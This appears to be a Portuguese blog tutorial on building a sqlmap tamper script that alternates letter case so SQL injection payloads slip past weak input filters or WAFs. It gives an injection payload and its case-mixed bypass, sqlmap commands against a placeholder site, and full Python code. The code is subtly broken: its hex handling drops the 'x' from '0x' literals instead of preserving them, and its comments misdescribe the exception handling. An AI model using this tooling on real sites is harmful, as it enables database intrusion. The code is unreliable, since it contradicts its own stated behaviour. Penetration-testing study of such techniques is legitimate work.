Introdução
O sqlmap é uma ferramenta muito utilizada nos testes em aplicações web. Ela é conhecida por ser muito poderosa e é utilizada para automação e exploração de SQL Injection em diferentes cenários
Com o passar do tempo, vários mecanismos de segurança vem sendo implementados nas aplicações, como por exemplo, filtros de input, WAF, etc… Isso faz com que payloads comuns não funcionem nessas aplicações, mesmo que elas estejam vulneráveis
Nesse cenário é necessário criar alternativas para conseguir burlar essas proteções e é ai que surge a necessidade da utilização de um tamper para tratar os payloads enviados
Vamos imaginar um cenário, onde a aplicação realiza um bloqueio para o seguinte payload:
Payload = 1' union select 1 #
Imaginemos também que esse filtro foi mal implementado, e é possível realizar o baypass da seguinte forma:
Bypass = 1' UnIoN sElEcT 1 #
No exemplo mostrado acima fica fácil modificar o payload, pois se trata de uma única requisição, porém o sqlmap envia diversos payloads e ficaria inviável fazer essas alterações à mão
Seguindo o mesmo exemplo, vamos ver nessa postagem, a criação de um tamper que realiza isso de forma automatizada, modificando todos os payloads enviados pela ferramenta, para que eles possam seguir o padrão aceito na aplicação
Escrevendo o script
Como dito anteriormente, a ferramenta envia diversos payloads diferentes e dos mais variados tipos, durante o teste
Para visualizar os payloads que estão sendo enviados pela ferramenta, podemos usar a opção -v3
sqlmap -u https://exemplo.com/?id=vuln -p id -v3
O tamper precisa receber esses payloads, realizar a alteração, e retornar o valor alterado para a ferramenta
Primeiramente, vou criar o arquivo de nome “tamper.py”, que vai conter o script criado. O script vai ser desenvolvido em python pois é a mesma linguagem que o sqlmap é escrito
O arquivo precisa ter o seguinte padrão:
#!/usr/bin/env python
from lib.core.enums import PRIORITY
# Define which is the order of application of tamper scripts against
# the payload
__priority__ = PRIORITY.NORMAL
def tamper(payload):
'''
Description of your tamper script
'''
retVal = payload
# your code to tamper the original payload
# return the tampered payload
return retVal
Para entender a estrutura do arquivo, vamos por partes. Primeiramente o script importa a classe “PRIORITY” que é responsável por definir qual será a prioridade do tamper que estamos criando. Caso seja utilizado mais de um tamper ao mesmo tempo é esse o campo que a ferramenta vai consultar para saber qual tamper deve ser executado primeiro
Essa classe é definida no arquivo “<diretório do sqlmap>/lib/core/enums.py”
Nesse caso, estou definindo a prioridade como normal
#!/usr/bin/env python
from lib.core.enums import PRIORITY
__priority__ = PRIORITY.NORMAL
Depois disso, está sendo definida a função “tamper”, que é onde o código do script irá ficar. Por convenção, dentro dessa função também é adicionada uma descrição do script
def tamper(payload):
'''
descrição do script
'''
# Código do script aqui
return retVal
Como já sabemos, a nossa função precisa receber o payload, e realizar uma alteração de forma que as letras fiquem alternadas entre maiúsculo e minúsculo. Para isso a minha função ficou dessa forma:
def tamper(payload, **kwargs):
"""
Muda as letras no estilo CaMeL CaSe
>>> tamper('INSERT')
'InSeRt'
"""
retVal = str()
if payload:
for i in range(len(payload)):
# respeita numeros em hexa
if (payload[i] == 'x') and (payload[i-1] == '0'):
continue
try:
if (i % 2 == 0) or (i == 0):
retVal += payload[i].upper()
else:
retVal += payload[i].lower()
except:
retVal += payload[i]
return retVal
O script cria um loop, passando por cada letra do payload, então ele verifica se aquela string começa com “0x”, se isso acontece, provavelmente se trata de um número em hexadecimal. Para não quebrar o payload, eu simplesmente não faço nada nesse caso
for i in range(len(payload)):
# respeita numeros em hexa
if (payload[i] == 'x') and (payload[i-1] == '0'):
continue
Depois o script verifica a seguinte condição: se for a primeira letra da palavra ou se o resto da divisão desse número por 2 for igual a zero (ou seja, número par), então salve essa letra como maiúscula, se não salva como minúscula
try:
if (i % 2 == 0) or (i == 0):
retVal += payload[i].upper()
else:
retVal += payload[i].lower()
Se ele não conseguir fazer isso, então provavelmente não se trata de uma letra. Nesse caso, ele apenas salva o caractere no payload
except:
retVal += payload[i]
Por fim o script retorna o resultado
O script completo ficou da seguinte maneira:
#!/usr/bin/env python
from lib.core.enums import PRIORITY
__priority__ = PRIORITY.NORMAL
def tamper(payload, **kwargs):
"""
Muda as letras no estilo CaMeL CaSe
>>> tamper('INSERT')
'InSeRt'
"""
retVal = str()
if payload:
for i in range(len(payload)):
# respeita numeros em hexa
if (payload[i] == 'x') and (payload[i-1] == '0'):
continue
try:
if (i % 2 == 0) or (i == 0):
retVal += payload[i].upper()
else:
retVal += payload[i].lower()
except:
retVal += payload[i]
return retVal
Após a criação do arquivo, para que ele funcione corretamente, é necessário criar um novo arquivo de nome “__init__.py” sem conteúdo no mesmo diretório que o arquivo do tamper está
Então, basta executar novamente o sqlmap, mas dessa vez, passando o tamper criado
sqlmap -u https://exemplo.com/?id=vuln -p id -v3 --tamper=tamper.py
Como pode ser visto na imagem acima, o tamper está funcionando e todos os payloads então sendo alterados